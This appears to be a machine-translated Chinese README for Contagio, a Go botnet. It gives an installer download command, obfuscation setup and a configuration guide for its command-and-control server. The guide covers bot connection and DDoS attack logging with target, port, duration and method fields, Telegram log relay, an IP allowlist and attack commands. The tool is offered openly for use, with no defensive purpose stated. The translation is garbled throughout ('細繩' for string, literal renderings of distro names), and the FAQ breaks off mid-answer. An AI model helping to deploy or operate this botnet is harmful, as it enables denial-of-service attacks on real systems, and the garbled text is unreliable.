Contagio
1.0.6
C++ 封閉版本:https://github.com/TryZeroOne/Contagio-lated
Contagio 是一個用 go 寫的殭屍網路。這是測試版,因此可能存在錯誤。在建立問題之前閱讀常見問題和文件。不要相信烏克蘭的宣傳
安裝
支援的系統
文件
常問問題
捐款
| 作業系統 | 地位 |
|---|---|
| Linux | |
| 視窗 | |
| macOS |
Linux 發行版
| 發行版 | 地位 |
|---|---|
| 拱 | |
| 曼札羅 | |
| 軟呢帽 | |
| 森托斯 | |
| 烏班圖 |
系統資訊可以在assets資料夾的照片中找到
Contagio 有自己的安裝程式。
wget https://raw.githubusercontent.com/TryZeroOne/Contagio/main/installer/installer.sh -O installer.sh
bash installer.sh -[args]
Example: bash installer.sh -default
參數:
| 乾淨的 | 安裝 contagio,無需預先安裝配置和主題。 |
| 預設 | 使用預先安裝的配置和主題安裝 contagio。 |
source ~/.bashrc
go install mvdan.cc/garble@latest
cd Contagio
go mod init contagio
go mod tidy
然後按照 setup.txt 中的步驟操作
設定指南很快...
| 姓名 | 類型 | 描述 |
|---|---|---|
ImportTheme | 細繩 | 導入主題。在此閱讀有關定制的更多資訊。 |
CncServer | 細繩 | IP:連接埠。您必須指定公共 IP。要取得公共IP,請輸入curl http://ip-api.com/json/?fields=query |
RootLogin | 細繩 | 有權存取管理命令(addip、adduser 等)的登入名稱。 |
RELEASE_MODE | 布林 | 隱藏日誌(新機器人連線、垃圾箱發送等)。 |
TelegramBotToken | 細繩 | Telegram 機器人令牌。 |
TelegramChatId | 細繩 | 您的電報 ID/聊天 ID。取得身分證。 |
SaveLogsInFile | 布林 | 將日誌保存在文件中? |
SendLogsInTelegram | 布林 | 透過 Telegram 機器人將日誌發送到頻道或私人訊息? |
PrintLogsInTerminal | 布林 | 在終端列印日誌? |
NewClientConnectedLog | 布林 | 啟用與 CNC 的新連線的日誌記錄。 |
NewClientConnectedFileName | 細繩 | 新連線日誌的檔案名稱。 |
NewAttackStartedFileName | 細繩 | 新攻擊日誌的檔案名稱。 |
AllowAllIps | 布林 | 允許所有 IP 位址嗎?如果AllowAllIps = false,則只有透過addip指令新增的IP位址才能連接到cnc。 |
自訂模組只能在標題中使用。您的 echo 結果將顯示在標題中。客製化模組包括:
[Modules.ModuleName]
Exec = "command to execute"
ExecEnv = "env"
ExecDir = "directory where the command is executed"
僅需指定 Exec。如果未指定 ExecDir,將從 CNC 啟動的目錄執行。
您可以使用空主題,也可以使用現有主題。您也可以使用顏色。
| 姓名 | 類型 | 變數 | 描述 |
|---|---|---|---|
| [紀錄] | |||
NewClientConnectedTerminal | 細繩 | {ip} {login} {port} {date} | 新連接的終端機中的日誌格式。 |
NewClientConnectedTelegram | 細繩 | {ip} {login} {port} {date} | 新連線的 Telegram 日誌格式(可以使用 markdown)。 |
NewClientConnectedFile | 細繩 | {ip} {login} {port} {date} | 新連線的檔案中的日誌格式。 |
NewAttackStartedTerminal | 細繩 | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | 新攻擊的終端日誌格式。 |
NewAttackStartedTelegram | 細繩 | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | Telegram 中新攻擊的日誌格式。 |
NewAttackStartedFile | 細繩 | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | 新攻擊的檔案中的日誌格式。 |
| [CNC] | |||
CmdPrompt | 細繩 | {login} | CNC命令提示字元。 |
Banner | 字串(數組) | Null | 橫幅。 |
HelpCommand | 細繩 | {command} {description} | 幫助命令輸出格式。 |
MethodsCommand | 細繩 | {name} {description} | 方法命令輸出格式。 |
CustomMethodsEnabled | 布林 | Null | 啟用自訂方法? |
CustomMethods | 字串(數組) | Null | 自訂方法(當CustomMethodsEnabled=true時啟用)。 |
CustomHelpEnabled | 布林 | Null | 啟用自訂幫助嗎? |
CustomHelp | 字串(數組) | Null | 自訂幫助(當CustomHelpEnabled=true時啟用)。 |
BotCount | 細繩 | {total} {bots} | 機器人命令輸出格式。 |
NoBotsConnectedError | 細繩 | Null | 執行“bots”命令時出現錯誤訊息,但沒有可用的機器人。 |
CommandSent | 細繩 | {bots} {id} | 攻擊發送成功時的輸出。 |
UnknownCommandError | 細繩 | Null | 命令未知時出現錯誤訊息。 |
InvalidCommandSyntaxError | 細繩 | {syntax} {example} | 命令(ddos 方法)語法不正確時的錯誤訊息。 |
NoActiveAttacksError | 細繩 | Null | 沒有主動攻擊時的錯誤訊息(運行命令)。 |
AttackIdNotFoundError | 細繩 | Null | 找不到攻擊 ID 時出現錯誤訊息(kill 指令)。 |
CommandExecuted | 細繩 | Null | 命令成功執行後的結果。 |
CommandInvalidSyntax | 細繩 | {syntax} {example} | 命令語法不正確時出現錯誤訊息。 |
Title | 細繩 | {login} {cpu} {memory} {animation} {bots} | 數控標題。 |
| [授權] | |||
LoginPrompt | 細繩 | Null | 登入提示。 |
PasswordPrompt | 細繩 | Null | 密碼提示。 |
AuthError | 細繩 | Null | 密碼或登入不正確時出現錯誤訊息。 |
CaptchaPrompt | 細繩 | {code} | 驗證碼提示。 |
CaptchaError | 細繩 | Null | 驗證碼輸入錯誤時出現錯誤訊息。 |
IpIsNotAllowedError | 細繩 | Null | 當 IP 不被允許時出現錯誤訊息。 |
在 Contagio 中,有可用的內建顏色,您也可以創建自己的顏色。
顏色應寫在大括號內。例如,
CncPrompt = "{red}Hello{white} World: "
要建立自己的顏色,您需要使用 ANSI 顏色。例如:
{custom(fg=ansi_code bg=ansi_code fgstyle=ansi_code)}
答:嘗試在行尾新增 r 。例如
PasswordPrompt = "Enter password: r"
如果這不起作用,請建立一個問題
答:將 /newbot 傳送到 @BotFather 機器人,然後回答他的問題並複製令牌(令牌範例:1234545:DDDDD__ASDADAHUQHHHI34I29I)。
一個: